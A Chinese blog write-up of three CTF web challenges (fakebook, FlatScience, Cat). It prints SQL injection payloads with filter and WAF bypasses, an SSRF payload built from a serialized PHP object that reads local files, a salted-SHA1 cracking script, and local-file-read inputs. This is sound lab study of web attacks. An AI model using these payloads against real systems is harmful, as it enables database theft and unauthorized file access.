CTF-攻防世界Web题目4


一、fakebook

题目:

大佬解题方法:
解网鼎杯一道web题(fakebook)
BUUCTF |Fakebook(博客样式很漂亮)
csrf以及ssrf

解题方法:
1、自己上来也是查看了robots.txt,发现有文件,下载后

<?php

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }
    //这里可能存在ssrf(服务端请求伪造)漏洞
    function get($url)
    {
        $ch = curl_init();     
 /*curl_init():初始化一个 cURL 会话并且全部的选项都被设置后被调用*/

         //设置需要抓取的URL
        curl_setopt($ch, CURLOPT_URL, $url);        
        //设置cURL 参数,要求结果保存到字符串中还是输出到屏幕上
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
       //运行cURL,请求网页
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }       
        //关闭一个curl会话,唯一的参数是curl_init()函数返回的句柄
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

下面是这个正则表达式的剖析:

^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$
^(((http(s?))\:\/\/)?):
这个^代表从开头字符开始匹配,这个可以匹配空或http://或https://,所以这里不能直接利用ssrf;
([0-9a-zA-Z\-]+\.)+:
这个匹配的是多个[0-9a-zA-Z\-].,像123.4.,456--.,127.0.0.等等;
[a-zA-Z]{2,6}:
这个匹配最后一个.后面跟的字符,长度大于等于2,小于等于4;
(\:[0-9]+)?:
这个匹配空或者是:8521等类似的端口号
(\/\S*)?:
这个匹配/456(随便任意多个字符);

\s是指空白,包括空格、换行、tab缩进等所有的空白,而\S刚好相反
2、首先注册的时候,发现username那里存在post注入;
注册进去发现用户界面有get注入

no参数能够get注入,但是用sqlmap查不出数据库名;这里存在空格的过滤,正常的sql注入payload都返回错误,不带空格的返回正常;
注意:
对于存在空格过滤的sql注入,可以通过++替代,末尾加上–+;
/view.php?no=-1++union++select++1,group_concat(schema_name),3,4++from++information_schema.schemata--+
3、这时用username的post注入试一下

真的很有点慢,利用time注入,厉害的朋友可以自己写命令直接就出来了;

输入sqlmap -r 1.txt --dump -tables

时间注入真的超慢,还是如果自己写最好自己写

4、还可以通过fuzz测试:

爆表名 /view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#

爆列名 /view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#

爆字段 
/view.php?no=-1++union++select++1,group_concat(data),3,4++from++users--+
这里是-1,专门让其报错,将信息返回

/view.php?no=489798++union++select++1,data,3,4++from++users--+

5、可以利用这个序列化,直接用 union select 会被WAF检测到,所以使用 /**/ 来绕过,反序列化字符串对应数据库data列放在第四列,注入后bolg栏显示file:///var/www/html/flag.php,代表注入成功

?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";i:1;s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' 



6、得到flag
flag{c1e552fdf77049fabf65168f22f7aeab}

二、FlatScience

题目:

解题方法:
1、上来一个必要操作,就是看robots.txt隐藏信息,还有按f12调试查看源码,查看有没有提示信息;

2、接着打开发现两个界面


经测试login.php的usr存在注入,admin.php不存在注入,后台数据库为sqlite;
也可以通过sqlmap工具测试,一切输入地方和查询数据库有关,均可测注入;
3、对于每个页面都需要f12查看一下源码是否有泄漏信息,这里login.php有泄漏

url输入?debug,显示出login.php的源码


<?php
ob_start();?><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"><html><head><style>blockquote { background: #eeeeee; }h1 { border-bottom: solid black 2px; }h2 { border-bottom: solid black 1px; }.comment { color: darkgreen; }</style><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><title>Login</title></head><body><div align=right class=lastmod>Last Modified: Fri Mar  31:33:7 UTC 1337</div><h1>Login</h1>Login Page, do not try to hax here plox!<br><form method="post">  ID:<br>  <input type="text" name="usr">  <br>  Password:<br>   <input type="text" name="pw">  <br><br>  <input type="submit" value="Submit"></form><?phpif(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];
        $db = new SQLite3('../fancy.db');
        
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }
    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }
}
if(isset($_GET['debug']))highlight_file('login.php');?>
<!-- TODO: Remove ?debug-Parameter! --><hr noshade><address>Flux Horst (Flux dot Horst at rub dot flux)</address></body>

这样可以得到表名,密码如何加密等等信息,密码通过pass+Salz!,之后sha1加密存储数据库;
4、用burp捕获报文,构造payload:usr=' union select name,sql from sqlite_master--+&pw=
为什么要查询sql呢,这涉及到sqlite自带的结构表sqlite_master,sql是sqlite_master中的一个字段,注入时经常用到的,注入后响应头的set-cookie:

set-cookie信息:

CREATE TABLE Users(
    id int primary key,
    name varchar(255),
    password varchar(255),
    hint varchar(255)
)

5、由于sqlmap查不出sqlite数据库,一直出错,所以构造payload:
usr=' UNION SELECT id, id from Users limit 0,1--+&pw=123

usr=' UNION SELECT id, name from Users limit 0,1--+&pw=123

usr=' UNION SELECT id, password from Users limit 0,1--+&pw=123

usr=' UNION SELECT id, hint from Users limit 0,1--+&pw=123

得出结果:

admin 3fab54a50e770d830c0416df817567662a9dc85c +my+fav+word+in+my+fav+paper?!

可以看出仍然需要破解密码,看到hint提示,我的word在paper里,看了大佬的推测,可能在pdf里,hhh,如果是我的话,可能就停在这一步了,没那么活泛的思维;
大佬脚本,pdf查找:

from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib

def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]


def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text


def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print "Searching word in " + i
        pdf_text = convert_pdf_2_text(i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
            if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
                print "Find the password :" + word
                exit()

if __name__ == "__main__":
    find_password()

6、我也懒得跑了,这道题耗费时间过多,没心思了,admin密码是ThinJerboa

三、Cat

题目:

解题相关链接:
WFUZZ使用教程
大话FUZZ测试
CTF命令执行及绕过技巧
【CTF】利用 Burpsuite Fuzz 实现 SQL 注入

解题方法:
1、看到题目界面,先输入一个域名baidu.com试试,发现没反应;输入sql注入,发现返回Invalid url;

2、这时候真不知道怎么办了,然后查题解发现这里有命令执行,输入127.0.0.1;

之后测试命令执行漏洞,试了很多组合都不可以,均返回invalid url;
3、对id参数进行fuzz测试
用burpsuite的Intruder模块进行fuzz测试;

发现有错误提示

4、将代码用浏览器打开

发现是django后台的报错
有许多敏感信息

5、其实这道题原题是有提示的

6、结合django的报错得知了项目的绝对路径为/opt/api
django项目下一般有个settings.py文件是设置网站数据库路径(django默认使用的的是sqlites数据库),如果使用的是其它数据库的话settings.py则设置用户名和密码。除此外settings.py还会对项目整体的设置进行定义。读取settings.py文件,这里需要注意django项目生成时settings.py会存放在以项目目录下再以项目名称命名的文件夹下面。
输入url:id=@/opt/api/api/settings.py


7、输入id=@/opt/api/database.sqlite3,之后用ctrl+f搜索ctf

8、得到flag


文章作者: P1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 P1n9 !
评论
 上一篇
扬帆起航 扬帆起航
心路历程    转眼间,研究生的生活已经过去半年了,很快就到找工作的时候了,我感觉半年基本啥也没干,干了点东西,过两个月就有点忘了,学习的东西总是重重复复,学完之后就会忘掉,所以我还是想通过总结的方式
2021-03-15 P1n9
下一篇 
CTF-攻防世界Web题目3 CTF-攻防世界Web题目3
一、easytornado题目: 解题基础服务端模板注入攻击 (SSTI) 之浅析python SSTI tornado render模板注入SSTI模板注入 解题方法:1、从上图可以看出,那个hash值,只要按hint.txt要求方法构造
2020-04-14
  目录